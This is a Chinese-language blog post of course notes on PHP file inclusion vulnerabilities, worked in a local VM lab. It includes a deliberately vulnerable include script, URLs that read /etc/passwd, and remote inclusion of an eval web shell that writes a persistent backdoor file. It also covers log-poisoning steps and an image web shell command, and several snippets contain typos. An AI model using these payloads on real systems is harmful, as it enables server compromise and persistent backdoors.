文件包含漏洞

b站蜗牛学院课2-P121

所用虚拟机地址:192.168.112.188
所用本机地址:192.168.112.1

Part 1 文件包含基本知识

一、本地文件包含

1. 源代码

在虚拟机的security/fileinc.php文件中写入如下代码:

<?php
$filename = $_GET[‘filename’];
include $filename; //或include_once, require, require_once

echo "<hr>欢迎来到PHP的世界。<br>";

?>

2. 利用条件

php.ini 中 allow_url_fopen=On (默认开启)
用户参数可控且后台代码没有对包含的文件进行过滤 #什么意思?

3. 利用方式

【例1】在浏览器中输入:

http://虚拟机地址/security/fileinc.php?Filename=misc.php

报错:需要传入uname、passwd值
改正:

http://虚拟机地址/security/fileinc.php?Filename=misc.php&uname=woniu&passwd=123456

【例2】读取任意文件:

http://虚拟机地址/security/fileinc.php?Filename=/etc/passwd

/etc/passwd为文件路径


Filename=./login.html

4. 注意事项

一旦文件中出现使用include或其他三个文件包含的函数,那么无论包含的文件后缀名是什么,均会当成PHP代码来执行。其余文字将当做普通html文本显示。


二、远程文件包含

1. 利用条件

php.ini 中 allow_url_fopen=On (默认开启)和 allow_url_include=Off(默认关闭,需开启,vim etc\php.ini
用户参数可控且后台代码没有对包含的文件进行过滤 #什么意思?

2. 利用方式

【例1】试探:
在浏览器中输入:

http://虚拟机地址/security/fileinc.php?filename=https://www.woniuxy.com/index.php

filename=可为任意一个网页地址
若出现了网页,则说明存在文件包含漏洞。

【例2】实现远程文件包含:
①在winD:\XampNew\htdocs\learn\shell.php中输入下列代码:

<?php

//phpinfo();
@eval($_GET['code']);

?>

在windows浏览器中输入:

http://localhost/learn/shell.php?code=phpinfo();

出现windows的php信息。
②在win浏览器输入:

http://虚拟机地址/security/fileinc.php?filename=https://本机地址/learn/shell.php

需关闭win和虚拟机的防火墙,即可访问。
③在winsows浏览器输入:

http://虚拟机地址/security/fileinc.php?filename=https://本机地址/learn/shell.php?code=phpinfo();

<注 1>.在使用远程文件包含时,可使用shell.php?code=phpinfo()中的?,因为已将https://本机地址/learn/shell.php?code=phpinfo()这整个部分当作url地址来包含,不会把?code=phpinfo()当作第二个参数。
<注 2> 此时结果未被包含在虚拟机地址中使用,未通过虚拟机中的fileinc.php执行,显示的结果是本机的信息,与单独实现https://本机地址/learn/shell.php?code=phpinfo();结果一样。更正:

  1. 将winD:\XampNew\htdocs\learn\shell.php另存为shell.txt
  2. 在win浏览器输入:
http://虚拟机地址/security/fileinc.php?filename=https://本机地址/learn/shell.txt&code=phpinfo();


用&后,code为filename的第二个参数
用?时,filename后边为一个整体的网址

此时执行的结果才是包含之后的。
shell.php?code=phpinfo();
shell.txt&code=phpinfo();


三、利用远程包含文件写木马

①在winD:\XampNew\htdocs\learn\shell.txt中写入下列代码:

<?php
// phpinfo();
// @eval($_GET['code']);
file_put_contenes("temp/muma2.php", '<?php @eval($_GET["code"]); ?>');
?>

// file_put_contenes的第一个参数:虚拟机中的要包含进去的文件路径文件名,第二个参数:要写入的文本的内容。

②要使虚拟机包含木马文件muma2.php
在win浏览器中输入:

http://虚拟机地址/security/fileinc.php?filename=https://本机地址/learn/shell.txt

执行后,成功在虚拟机temp/目录下写入木马文件muma2.php
③执行木马文件:
在win浏览器中输入:

http://虚拟机地址/security/temp/muma2.php?code=phpinfo();

执行后,出现php信息。


Part 2. 文件包含漏洞利用

一、利用前提

  1. 存在一个文件包含漏洞点
  2. 我们有其他可控点可以写入到本地文件
  3. 写入的本地文件路径可知或可探测

二、包含web日志(步骤)

  1. 前期通过信息搜集,得到了相关的服务器信息,比如得知中间件是apache。apache记录web日志的文件有access_logerror_log(路径:/opt/lampp/logs)。
//在win浏览器中输入log路径进行探测:
http://虚拟机地址/security/fileinc.php?filename=/opt/lampp/logs/access.log

//报错了。说明路径或文件名不对,将`access.log`改为`access_log`再探测:
http://虚拟机地址/security/fileinc.php?filename=/opt/lampp/logs/access_log
//出现日志文件,探测成功,得到日志文件路径。
  1. 这时我们访问服务器的时候,通过burp修改我们的请求,将恶意代码写在请求内,这时候web日志就会将我们的恶意代码写入到日志文件中。由于日志文件一般来说都是默认的路径,比较容易猜测,这样就满足了我们的本地包含getshell的条件。 比如get请求:get "<?php php.info();?>".html

三、包含登录日志

四、包含mysql日志

一般是在成功访问到MySQL后实现的,攻击者进入MySQL,可以通过数据库查询接口,实现恶意代码写入mysql日志。方法和原理与包含web日志相同。
比如进入phmyadmin后台,或者爆破成功进入MySQL
查看日志文件状态:show variables like general_log
写入恶意代码:select"<? phponfo();?>",根据日志文件路径即可包含。

五、包含上传文件

图片马:

copy picture.jpg/b + shell.php/a picma.jpg

六、包含临时文件

posted @ 2023-03-13 16:16  unnEvelyn  阅读(60)  评论(0)    收藏  举报